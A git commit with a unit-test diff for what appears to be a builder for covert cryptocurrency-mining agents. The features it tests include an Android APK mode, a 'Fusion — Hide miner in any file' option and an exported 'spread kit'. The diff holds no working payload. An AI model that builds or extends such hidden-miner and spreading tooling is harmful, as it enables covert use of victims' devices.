Add Android APK fleet nodes with Crucible UI integration and tests.

APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
This commit is contained in:
AetherForge
2026-06-07 02:44:29 -07:00
parent d9f36f182c
commit 50ebfe53cb
89 changed files with 2849 additions and 82 deletions

View File

@@ -292,6 +292,20 @@ describe('BuilderPage', () => {
expect(api.exportSpreadKit).toHaveBeenCalled();
});
it('APK mode toggle locks platform to Android arm64 and hides Fusion', async () => {
localStorage.setItem('aetherforge-forge-mode', 'advanced');
const user = userEvent.setup();
renderBuilder();
await screen.findByText('Worker Name');
const apkToggle = await screen.findByRole('checkbox', { name: /APK mode/i });
await user.click(apkToggle);
expect(screen.getByDisplayValue('Android (arm64)')).toBeInTheDocument();
expect(screen.getByText(/platform=android/i)).toBeInTheDocument();
expect(screen.queryByText('Fusion — Hide miner in any file')).not.toBeInTheDocument();
});
it('polls builder progress endpoint while a forge is running', async () => {
type BuildResult = Awaited<ReturnType<typeof api.buildAgent>>;
let resolveBuild!: (value: BuildResult) => void;